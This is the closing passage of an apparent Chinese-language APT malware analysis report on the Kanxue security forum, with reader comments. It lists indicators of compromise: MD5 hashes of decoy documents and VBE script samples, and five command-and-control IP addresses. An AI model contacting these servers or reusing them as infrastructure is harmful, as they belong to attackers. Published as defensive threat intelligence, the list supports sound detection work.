8eb40b005f78e4367e879bbdc6110732(Gulnoza Nurullaeva.doc)

 

d7b0eb2f80f415b3171651903ae74a03(pKio.Vbe)

 

2afb43542e4b0bd2e6105a1b769ff9d4(HTM.log)

 

8f416a523e272a751061f86e77b8cdad(Performance_Eval_Employee.doc)

 

6e324aa68f21e5c794f17ed70102e214(S0NN3.VbE)

 

c40f77ca36bab83db36b463d2a561fbc(plr.log)

C&C(C2):

185.185.25.175

 

83.171.238.62

 

185.244.149.218

 

185.82.202.240

 

185.141.27.14

结语:

很感谢您能够完整的看完这次报告,如果有我说的纰漏或者想补充的地方请在评论区给出,由于笔者需要处理一些必要的事情,所以我们需要过一年后才能再见,一年后我会带着新的报告来回归,请先原谅我这一年来的不能更新,非常感谢!!!!



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-7-12 12:09 被CrazymanArmy编辑 ,原因:
最新回复 (10)
天水姜伯约 3 2019-7-7 23:02
2
0
加油。
银雁冰 8 2019-7-8 09:45
3
0
day day up~
一叶Agent 2019-7-9 19:11
4
0
大佬NB,day day up~
爱吃菠菜 1 2019-7-10 15:50
5
0
一半人生 2019-7-11 10:46
6
0
T-APT-14代码写的很精彩,同样分析的也很精彩
最后于 2019-7-11 11:02 被一半人生编辑 ,原因:
滑小姬 2019-7-12 09:09
7
0
膜拜大佬!
无名侠 10 2019-7-12 22:46
8
0
支持支持,大佬加油
CrazymanArmy 2 2019-7-17 09:23
9
0
无名侠 支持支持,大佬加油
谢谢,膜拜dalao
我会努力的
CrazymanArmy 2 2019-7-17 09:24
10
0
银雁冰 day day up~
谢谢dalao
我会努力的
CrazymanArmy 2 2019-7-17 09:24
11
0
三十二变 加油。
共勉
加油
游客
登录 | 注册 方可回帖
返回